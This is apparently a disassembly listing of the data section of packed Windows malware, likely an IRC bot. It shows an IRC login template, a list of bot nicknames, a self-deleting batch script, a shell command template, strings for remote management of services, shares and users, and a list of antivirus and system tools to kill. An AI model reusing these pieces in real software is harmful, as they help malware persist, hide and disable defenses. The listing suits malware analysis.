dd offset aMuckc ; "muckc"
dd offset dword_43B454
dd offset dword_43B460
dd offset aS_1 ; "s"
dd offset aQ ; "q"
dd offset off_43AE10
dd offset aBbl ; "|bbl"
dd offset byte_43FE14
dd offset byte_43FE14
dd offset a___0 ; "_|_"
dd offset byte_43FE14
dd offset byte_43FE14
dd offset byte_43FE14
dd offset byte_43FE14
dd offset dword_43B41C
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF ; "^^^f^"
dd offset dword_43B44C
dd offset byte_43FE14
dd offset aSleeping ; "Sleeping"
dd offset byte_43FE14
dd offset byte_43FE14
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43FE14
dd offset byte_43FE14
dd offset dword_43B400
dd offset byte_43FE14
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_43AD90
dd offset dword_43AD8C
dd offset dword_43AD84
dd offset dword_43AD78
dd offset dword_43AD70
dd offset dword_43AD68
dd offset dword_43AD60
dd offset dword_43AD5C
dd offset dword_43AD58
dword_43AD58 dd 7536h dword_43AD5C dd 7535h dword_43AD60 dd 7C75347Ch, 0 dword_43AD68 dd 6F79347Bh, 7D75hdword_43AD70 dd 7375347Ch, 7Chdword_43AD78 dd 7865737Ch, 65726634h, 7C65hdword_43AD84 dd 6F6C6F6Ch, 7C617Chdword_43AD8C dd 6C6F6Ch dword_43AD90 dd 746F74h aMofo db 'mofo',0 ; DATA XREF: .packed:0043AD30o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .packed:0043AD2Co
align 4
aMuha db 'muha',0 ; DATA XREF: .packed:0043AD28o
align 4
aYeah db 'yeah',0 ; DATA XREF: .packed:0043AD24o
align 4
aAha db 'aha',0 ; DATA XREF: .packed:0043AD20o
aShit db 'shit',0 ; DATA XREF: .packed:0043AD1Co
align 10h
aGurl db 'gurl',0 ; DATA XREF: .packed:0043AD18o
align 4
aGirl_0 db 'GIRL',0 ; DATA XREF: .packed:0043AD14o
align 10h
aBoy db 'BOY',0 ; DATA XREF: .packed:0043AD10o
aFree db 'Free',0 ; DATA XREF: .packed:0043ACFCo
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .packed:0043ACF8o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .packed:0043ACECo
align 10h
aF db '^^^f^',0 ; DATA XREF: .packed:0043ACE0o
align 4
aSad db 'Sad',0 ; DATA XREF: .packed:0043ACDCo
aLuvu db 'LUVU',0 ; DATA XREF: .packed:0043ACD8o
align 4
a___0 db '_|_',0 ; DATA XREF: .packed:0043ACBCo
aBbl db '|bbl',0 ; DATA XREF: .packed:0043ACB0o
align 10h
off_43AE10 dd offset loc_42523E+4 ; DATA XREF: .packed:0043ACACo
aMuckc db 'muckc',0 ; DATA XREF: .packed:0043AC98o
align 4
aTruck db 'truck',0 ; DATA XREF: .packed:0043AC94o
align 4
aTrimy db 'trimy',0 ; DATA XREF: .packed:0043AC90o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .packed:0043AC8Co
align 4
aUi db 'ui',0 ; DATA XREF: .packed:0043AC88o
align 4
aSdf db 'sdf',0 ; DATA XREF: .packed:0043AC84o
aRt db 'rt',0 ; DATA XREF: .packed:0043AC80o
align 10h
aGf db 'gf',0 ; DATA XREF: .packed:0043AC7Co
align 4
aTy db 'ty',0 ; DATA XREF: .packed:0043AC78o
align 4
aRg db 'rg',0 ; DATA XREF: .packed:0043AC74o
align 4
aHappy db 'happy',0 ; DATA XREF: .packed:0043AC70o
align 4
aRs db 'rs',0
align 4
aQ8A db '|q8|a',0
align 10h
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 10h
aGens db '{gens|',0
align 4
aSex_0 db '{sex}',0
align 10h
aHub db '{hub}',0
align 4
aLuck db '|luck|',0
align 10h
aSuck db '|suck|',0
align 4
aTot db '-|tot|',0
align 10h
aWoh db '|woh|',0
align 4
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0
aTree db 'tree',0
align 10h
aZex db 'zex',0
aLez db 'lez',0
aWantedlove db 'WANTEDLOVE',0
align 4
aCumhur29 db 'cumhur29',0
align 10h
aAdamm db 'ADAMM',0
align 4
aMaveRIck db 'MaVe{R}icK',0
align 4
aPrometheus db 'prometheus',0
align 10h
aDallas43m db 'DALLAS43M',0
align 4
aTeoman db 'TEOMAN```',0
align 4
aRerpjj db 'RERPJJ',0
align 10h
aCem39 db 'cem39',0
align 4
aCool30m db 'cool30m',0
aTropikal db 'tropikal',0
align 4
aPassenger db 'passenger',0
align 4
aNeHaber db 'NE-HABER',0
align 4
aUla db 'ula',0
aIzmirlm db 'izmirlm',0
aAkden db 'akden',0
align 4
aKoray db 'KORAY',0
align 10h
aAta29 db 'Ata29',0
align 4
aFirtina db 'firtina',0
aAdamm33 db 'AdAMM33',0
aM41ist db 'M41IST',0
align 10h
aMaxsilla db 'maxsilla',0
align 4
aAdem28 db 'Adem28',0
align 4
aAnkm db 'ankM',0
align 4
aErkan db 'erkan',0
align 4
aDevre db 'devre',0
align 4
aYabanc db 'yabanc',0
align 4
aBirsen db 'birsen',0
align 4
aA44m db 'a44m',0
align 4
aAlcatras db 'alcatras',0
align 10h
dd offset byte_4B5245
aSevda db 'sevda',0
align 4
aKotan db 'kotan',0
align 4
aTegmen db 'TEGMEN',0
align 4
aAchilles db 'Achilles',0
align 4
aKapk db 'kapk',0
align 10h
aAngelgirl db 'angelgirl',0
align 4
aHayran db 'hayran',0
align 4
aFenerlee db 'FeNeRLee',0
align 10h
aAnkar db 'Ankar',0
align 4
aDjspace db 'DJSPACE',0
aAnk32M db 'ANK-32-M',0
align 4
aUmut db 'umut-',0
align 4
aAdalim db 'ADALIM',0
align 4
aKumul db 'kumul',0
align 4
aUzgun36 db 'uzgun36',0
aSugarboy db 'SUGARBOY-',0
align 4
aSeviseli db 'SeViSeLi',0
align 4
aKashmira db 'Kashmira',0
align 10h
aAykut1 db 'aykut1',0
align 4
aSadikaellesme db 'SaDIkaEllesme',0
align 4
aMahinur db 'MAHINUR',0
aHoly db 'holy',0
align 4
aFlord db 'FLoRD',0
align 10h
aKebikec db 'kebikec',0
aEsmerkiz db 'Esmerkiz',0
align 4
aElmaazyok db 'elmaazyok',0
align 10h
aEmre db 'Emre--',0
align 4
aRamtha db 'RAMTHA',0
align 10h
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .packed:0043AAD0o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .packed:0043AACCo
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .packed:0043AAC8o
align 10h
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .packed:0043AAC4o
aArda db 'arda',0 ; DATA XREF: .packed:0043AAC0o
align 4
aDevran db 'devran',0 ; DATA XREF: .packed:0043AABCo
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .packed:0043AAB8o
aDenizlim db 'DenizliM',0 ; DATA XREF: .packed:0043AAB4o
align 10h
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .packed:0043AAB0o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .packed:0043AAACo
align 4
aBogac db 'bogac',0 ; DATA XREF: .packed:0043AAA8o
align 10h
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .packed:0043AAA4o
align 4
aAnkh db 'ankh',0 ; DATA XREF: .packed:0043AAA0o
align 4
off_43B184 dd offset byte_457441 ; DATA XREF: .packed:0043AA9Co
dword_43B188 dd 414C5941h, 2DhaAlbina db 'albina',0 ; DATA XREF: .packed:0043AA94o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .packed:0043AA90o
align 4
aZack db 'ZACK',0 ; DATA XREF: .packed:0043AA8Co
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .packed:0043AA88o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .packed:0043AA84o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .packed:0043AA80o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .packed:0043AA7Co
align 10h
aBlackpearl db 'blackpearl',0 ; DATA XREF: .packed:0043AA78o
align 4
aRetg db 'RETG',0 ; DATA XREF: .packed:0043AA74o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .packed:0043AA70o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: .packed:0043AA6Co
aAslii db 'aslii',0 ; DATA XREF: .packed:0043AA68o
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: .packed:0043AA64o
aHaticem db 'haticem',0 ; DATA XREF: .packed:0043AA60o
aArzu db 'ARZU',0 ; DATA XREF: .packed:0043AA5Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: .packed:0043AA58o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .packed:0043AA54o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .packed:0043AA50o
align 4
aTekir db 'tekir',0 ; DATA XREF: .packed:0043AA4Co
align 10h
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .packed:0043AA48o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .packed:0043AA44o
align 4
aMelekk db 'melekk',0 ; DATA XREF: .packed:0043AA40o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .packed:0043AA3Co
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .packed:0043AA38o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .packed:0043AA34o
aTolga34 db 'Tolga34',0 ; DATA XREF: .packed:0043AA30o
aMisssunday db 'misssunday',0 ; DATA XREF: .packed:0043AA2Co
align 4
aIrmal db 'irmal',0 ; DATA XREF: .packed:0043AA28o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .packed:0043AA24o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: .packed:0043AA20o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: .packed:0043AA1Co
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: .packed:0043AA18o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .packed:0043AA14o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .packed:0043AA10o
align 10h
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .packed:0043AA0Co
align 4
aKencing db 'Kencing',0 ; DATA XREF: .packed:0043AA08o
aReshma db 'reshma',0 ; DATA XREF: .packed:0043AA04o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .packed:0043AA00o
align 4
aGirl db 'GirL',0 ; DATA XREF: .packed:0043A9FCo
align 4
aImra db 'imra',0 ; DATA XREF: .packed:0043A9F8o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .packed:0043A9F4o
align 10h
aPuregold db 'puregold',0 ; DATA XREF: .packed:0043A9F0o
align 4
aKermit db 'kermit',0 ; DATA XREF: .packed:0043A9ECo
align 4
aManee db 'manee',0 ; DATA XREF: .packed:0043A9E8o
align 4
aTroller db 'troller',0 ; DATA XREF: .packed:0043A9E4o
aLuisa db 'Luisa',0 ; DATA XREF: .packed:0043A9E0o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .packed:0043A9DCo
align 4
aRimpy db 'rimpy',0 ; DATA XREF: .packed:0043A9D8o
align 10h
aJanno db 'janno',0 ; DATA XREF: .packed:0043A9D4o
align 4
aBunty db 'bunty',0 ; DATA XREF: .packed:0043A9D0o
align 10h
aHeval db 'heval',0 ; DATA XREF: .packed:0043A9CCo
align 4
aCme db 'cme',0 ; DATA XREF: .packed:0043A9C8o
aMarcy db 'marcy',0 ; DATA XREF: .packed:0043A9C4o
align 4
aTalika db 'talika',0 ; DATA XREF: .packed:0043A9C0o
align 4
aShez db 'Shez',0 ; DATA XREF: .packed:0043A9BCo
align 4
aKen db 'ken',0 ; DATA XREF: .packed:0043A9B8o
aFlexster db 'flexster',0 ; DATA XREF: .packed:0043A9B4o
align 4
aKoko db 'koko',0 ; DATA XREF: .packed:0043A9B0o
align 4
aMale db 'male',0 ; DATA XREF: .packed:0043A9ACo
align 4
aSwin db 'swin',0 ; DATA XREF: .packed:0043A9A8o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .packed:0043A9A4o
aKrizha db 'KRIZHA',0 ; DATA XREF: .packed:0043A9A0o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .packed:0043A99Co
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .packed:0043A998o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: .packed:0043A994o
aFarooq db 'farooq',0 ; DATA XREF: .packed:0043A990o
align 10h
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .packed:0043A98Co
align 4
aM_1: ; DATA XREF: .packed:0043A988o
; .packed:0043ACD4o
unicode 0, <M>,0
word_43B3F0 dw 4Eh ; DATA XREF: sub_41A628+38r
; .packed:0043A984o
align 4
dword_43B3F4 dd 42h dword_43B3F8 dd 56h dword_43B3FC dd 43h dword_43B400 dd 58h ; .packed:0043AD08o
dword_43B404 dd 5Ah dword_43B408 dd 4Ch dword_43B40C dd 4Bh dword_43B410 dd 4Ah dword_43B414 dd 48h dword_43B418 dd 47h dword_43B41C dd 46h ; .packed:0043ACD0o
dword_43B420 dd 44h dword_43B424 dd 53h dword_43B428 dd 50h dword_43B42C dd 4Fh dword_43B430 dd 55h word_43B434 dw 59h ; DATA XREF: sub_41A94E+38r
; .packed:0043A938o
align 4
dword_43B438 dd 54h dword_43B43C dd 52h dword_43B440 dd 45h dword_43B444 dd 57h dword_43B448 dd 51h dword_43B44C dd 62h ; .packed:0043ACE4o
dword_43B450 dd 78h ; .packed:0043AC64o
dword_43B454 dd 7Ah ; .packed:0043AC6Co ...
dword_43B458 dd 6Ch ; .packed:0043AC38o
dword_43B45C dd 68h ; .packed:0043AC24o
dword_43B460 dd 67h ; .packed:0043AC20o ...
dword_43B464 dd 66h ; .packed:0043AC1Co
dword_43B468 dd 79h dword_43B46C dd 77h ; .packed:0043AC60o
dword_43B470 dd 4B43494Eh, 0A732520h, 0dword_43B47C dd 323334h dword_43B480 dd 474E4F50h, 0A732520h, 0aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417E12+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_41802F+BCo
; sub_41802F+174r ...
align 4
dword_43B4C8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43B514 dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------
loc_43B530: ; DATA XREF: sub_418466+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_43B544 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_418466+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418827+72o
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4188EC+5o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41896E+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418A12+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418A34+140o
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418A34+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418A34+48o
align 10h
unk_43B600 db 2Dh ; - ; DATA XREF: sub_418BBC+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 10h
unk_43B630 db 2Dh ; - ; DATA XREF: sub_418BBC+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_43B658 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418BBC+5Co
dd 65726165h, 64h, 0
off_43B678 dd offset aAdd ; DATA XREF: sub_418E93+6Dr
; sub_41927A+50r ...
; "Add"
off_43B67C dd offset aAdded ; DATA XREF: sub_418E93+2Dr
; sub_41927A+82r ...
; "Added"
dword_43B680 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43B6ECh, 43B6E4h, 2, 43B6D8h, 43B6CCh, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .packed:0043B6ACo
aStop_0 db 'Stop',0 ; DATA XREF: .packed:0043B6A8o
align 4
aStarted db 'Started',0 ; DATA XREF: .packed:0043B6A0o
aStart_0 db 'Start',0 ; DATA XREF: .packed:0043B69Co
align 4
aListed db 'Listed',0 ; DATA XREF: .packed:0043B694o
align 4
aList_1 db 'List',0 ; DATA XREF: .packed:0043B690o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .packed:0043B688o
aDelete_0 db 'Delete',0 ; DATA XREF: .packed:0043B684o
align 4
aAdded db 'Added',0 ; DATA XREF: .packed:off_43B67Co
align 4
aAdd db 'Add',0 ; DATA XREF: .packed:off_43B678o
unk_43B740 db 2Dh ; - ; DATA XREF: sub_418E93+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43B764 db 2Dh ; - ; DATA XREF: sub_418E93+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_43B790 db 2Dh ; - ; DATA XREF: sub_418E93+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418FBC+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418FBC:loc_4190D4o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418FBC:loc_4190CDo
align 8
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418FBC:loc_4190C6o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418FBC:loc_4190BFo
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418FBC:loc_4190B8o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418FBC:loc_4190B1o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418FBC:loc_4190AAo
align 8
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418FBC:loc_4190A3o
align 10h
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418FBC:loc_41909Co
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418FBC:loc_419095o
align 10h
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418FBC:loc_41906Ao
align 10h
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418FBC:loc_419063o
db ' the service.',0
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418FBC:loc_41905Co
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418FBC:loc_419055o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418FBC+8Fo
align 8
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418FBC:loc_41902Ao
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418FBC:loc_419020o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418FBC:loc_419016o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418FBC:loc_41900Co
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418FBC:loc_419002o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418FBC+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41913A+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_41913A:loc_419209o
aStarting db ' Starting',0 ; DATA XREF: sub_41913A:loc_419202o
aStoping db ' Stoping',0 ; DATA XREF: sub_41913A:loc_4191FBo
aRunning db ' Running',0 ; DATA XREF: sub_41913A:loc_4191F4o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41913A:loc_4191EDo
aPausing db ' Pausing',0 ; DATA XREF: sub_41913A:loc_4191E6o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41913A:loc_4191DFo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41913A+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41913A+25o
align 4
unk_43BCF4 db 2Dh ; - ; DATA XREF: sub_41927A+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_43BD18 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_41927A+89o
dd 73252720h, 27h
unk_43BD34 db 2Dh ; - ; DATA XREF: sub_41927A+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41946F+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_41946F+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_41946F+B5o
unk_43BD80 db 2Dh ; - ; DATA XREF: sub_41946F+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_41946F+26o
align 10h
unk_43BDE0 db 2Dh ; - ; DATA XREF: sub_419590+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_43BE08 db 2Dh ; - ; DATA XREF: sub_419590+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_43BE38 db 2Dh ; - ; DATA XREF: sub_419590+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_43BE58 db 2Dh ; - ; DATA XREF: sub_4196D6+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4196D6+36Ao
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4196D6+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4196D6+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4196D6+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4196D6+2C4o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4196D6+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4196D6+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4196D6+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4196D6+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4196D6+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4196D6+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4196D6+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4196D6+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4196D6+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4196D6+125o
aGuest db 'Guest',0 ; DATA XREF: sub_4196D6:loc_4197EFo
align 4
aUser_2 db 'User',0 ; DATA XREF: sub_4196D6:loc_4197E8o
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_4196D6:loc_4197E1o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4196D6+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4196D6+ACo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4196D6+81o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_4196D6+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419AA4+145o
align 4
unk_43C014 db 2Dh ; - ; DATA XREF: sub_419AA4:loc_419B91o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_6 db ' %S',0 ; DATA XREF: sub_419AA4+BAo
align 4
unk_43C048 db 2Dh ; - ; DATA XREF: sub_419AA4+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419AA4+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419C1A:loc_419D37o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419C1A:loc_419D30o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419C1A:loc_419D29o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419C1A:loc_419D22o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419C1A:loc_419D1Bo
align 8
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419C1A:loc_419CFEo
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419C1A:loc_419CF7o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419C1A:loc_419CF0o
align 8
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419C1A+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419C1A:loc_419CC5o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419C1A:loc_419CBEo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419C1A:loc_419CB7o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419C1A:loc_419CADo
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419C1A+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419C1A:loc_419C87o
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419C1A:loc_419C7Do
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419C1A:loc_419C73o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419C1A:loc_419C69o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419C1A:loc_419C5Fo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419C1A+3Bo
align 4
dword_43C358 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419D4E+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43C384 db 2Dh ; - ; DATA XREF: sub_419D4E+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 10h
dword_43C3B0 dd 7530h align 8
off_43C3B8 dd offset aRegedit_exe ; DATA XREF: sub_419E77:loc_419F3Dr
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
